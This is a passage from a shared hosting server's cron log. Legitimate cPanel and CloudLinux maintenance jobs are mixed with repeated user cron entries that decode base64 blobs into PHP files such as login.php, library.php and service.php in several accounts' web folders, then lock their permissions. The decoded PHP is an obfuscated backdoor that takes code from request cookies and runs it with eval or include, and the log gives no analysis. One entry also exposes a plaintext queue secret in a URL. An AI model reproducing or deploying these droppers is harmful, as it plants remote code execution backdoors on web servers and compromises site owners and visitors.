JyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:34:01 medusa CROND[15422]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:34:01 medusa CROND[15424]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:34:01 medusa CROND[15430]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:35:01 medusa CROND[5171]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:35:01 medusa CROND[5249]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:35:01 medusa CROND[5250]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:35:01 medusa CROND[5251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:35:01 medusa CROND[5253]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:35:01 medusa CROND[5254]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:35:01 medusa CROND[5255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:35:01 medusa CROND[5252]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:35:01 medusa CROND[5256]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:35:01 medusa CROND[5264]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:35:01 medusa CROND[5265]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:35:01 medusa CROND[5268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:35:01 medusa CROND[5271]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:35:01 medusa CROND[5266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:35:01 medusa CROND[5277]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:35:01 medusa CROND[5274]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:35:01 medusa CROND[5278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:35:01 medusa CROND[5275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:35:01 medusa CROND[5258]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 04:35:01 medusa CROND[5269]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:35:01 medusa CROND[5280]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 04:35:01 medusa CROND[5286]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:35:01 medusa CROND[5273]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 04:35:01 medusa CROND[5304]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:35:01 medusa CROND[5260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:36:01 medusa CROND[27163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:36:01 medusa CROND[27187]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:36:01 medusa CROND[27210]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:36:01 medusa CROND[27231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:36:01 medusa CROND[27263]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:36:01 medusa CROND[27264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:36:01 medusa CROND[27265]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:36:01 medusa CROND[27267]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:36:01 medusa CROND[27266]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:36:01 medusa CROND[27275]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAm